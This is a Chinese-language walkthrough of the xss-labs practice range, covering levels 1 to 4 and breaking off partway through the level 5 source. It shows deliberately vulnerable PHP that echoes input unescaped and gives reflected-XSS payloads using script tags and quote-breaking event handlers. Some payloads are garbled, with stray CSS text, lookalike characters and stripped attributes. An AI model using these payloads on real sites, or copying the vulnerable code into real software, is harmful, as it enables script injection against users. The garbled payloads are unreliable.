所用的xss-labs靶场的项目地址:https://github.com/do0dl3/xss-labs 在这里关于 如何搭建靶场的就不再赘述了,可以在本地用phpstudy来搭建的。建议使用火狐浏 览器,访问http://ip/xss-labs
点击图片开始你的xss之旅吧!
源码:
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "欢迎用户"
.$str."";
?>
<center><img src=level1.png></center>
<?php
echo "payload的长度:"
.strlen($str)."";
?>
</body>
分析:没有做任何过滤
payload为:name=<script>alert(/xss/)</script>
源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果. ".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
分析:有两处输出,第一处在PHP代码块的echo中输出,第二处在表单input中输出,第 一处用htmlspeciachars()做了转义,第二处并没有做限制,让payload在第二处起效果就 好,有2种方法。
1.不逃逸input标签闭合前边的双引号加个事件触发xss即可:
移动下鼠标即可触发payload为: " line-height: 160%; box-sizing: content-box;"> 点击输入框即可触发payload为: " line-height: 160%; box-sizing: content-box;"> 击输入框即可触发payload为: " οnfοcus="alert(/xss/)
2.逃逸出input标签执行另外的标签触发xss即可:
用<img>标签payload为:"><img src=! >
用<img>标签payload为:">
:alert(/xss/)"> //浏览器可能会 过滤这个
用<a>标签payload为:"><a >xss</a>
用<a>标签payload为:<a >xss</a> // 移动鼠标至框内
源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果. "."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
分析:这次它将两个输出点都做了htmlspecialchars()转义,那既然做了转义那么双引号和 尖括号就没有效果了,但是单引号在这个函数中如果没做特殊的改动,默认是可以出效果 的,而且源码中的value是用单引号,看来是有意让使用单引号。
payload为:' οnmοuseοver='alert(/xss/) //其他payload省略
源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果. ".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析:这里的俩个输出点,一个被转义,另外一个将尖括号替换为空,但是这并不影响 啊,按照上两题的套路,虽然不能闭合标签,单照样可以在input标签里边出发xss的
payload为:" οnmοuseοver="alert(/xss/) //鼠标点击输入框出发,其他payload 省略
源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("